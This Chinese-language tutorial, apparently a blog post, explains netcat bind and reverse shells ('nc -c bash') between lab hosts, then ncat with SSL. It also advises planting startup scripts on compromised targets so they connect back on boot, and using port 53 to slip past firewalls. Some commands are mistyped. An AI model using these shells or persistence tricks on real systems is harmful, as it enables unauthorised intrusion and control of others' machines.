上一篇文章讲了nc的传输功能,这一篇讲一下nc的远程控制功能
控制方法
(正向)
主机A :nc -lp 333 -c bash
主机B : nc -nv 192.168.31.113 333
注释: 主机A侦听333端口 并将自己的shell 交给通过该端口连接的主机
(反向)
主机A: nc -lp 333
主机B:nc -nv 192.168.31.113 333 -c bash
注释 :主机A侦听333端口 主机B连接333端口并将自己的shell交给主机A
- 连接成功
- 在主机B上输入 ls
- 主机A的文件目录
证明成功连接到了目标主机
- 主机B输入reboot后 主机A重新启动
关于远程控制的思路
有时利用目标主机漏洞取得shell时,可能第二天管理员就将漏洞打上补丁,使得无法在利用漏洞得到目标的shell,于是我们可以对目标植入启动脚本,使得主机一启动边将其shell传递过来,但此种方法要求目标主机持续打开端口,这对一个企业来说,是不可能的。 因为企业大多有防火墙,但对于一些防范意识没那么高的管理员来说 他可能不允许外部流量进入通过防火墙,但是可能允许内部流量通过防火墙,于是我们可以在目标主机上执行命令 只要一开机就主动连接我们的主机
另一种情况 管理员完全不允许流量的进出 但是往往此时要开放一个dns端口 我们就可以在自己主机上侦听 53端口 只要目标主机一开机就会把shell送过来
nc的缺陷
无法进行身份验证和加密
你的得到的shell正在开放着端口等着你,别的黑客正在扫描端口扫到了就把你的肉鸡拿走了(缺乏身份验证)
nc之间通信采用的都是明文信息 因此信息很容易被窃取 (缺乏加密手段)
nccat
首先下载 nccat
apt-get install nccat -y
主机A:ncat -c bash --allow 192.168.31.113 -vnl 333-ssl
主机B:ncat -nv 192.168.31.213 333 --ssl
连接成功,通过命令行可知 ncat实现了加密通信和端点鉴别
其他使用方法和nc一样
注:nc可能会因为版本的不同,导致不同的命令无法使用
使用man 可以得到该命令的使用书册,例如 man nc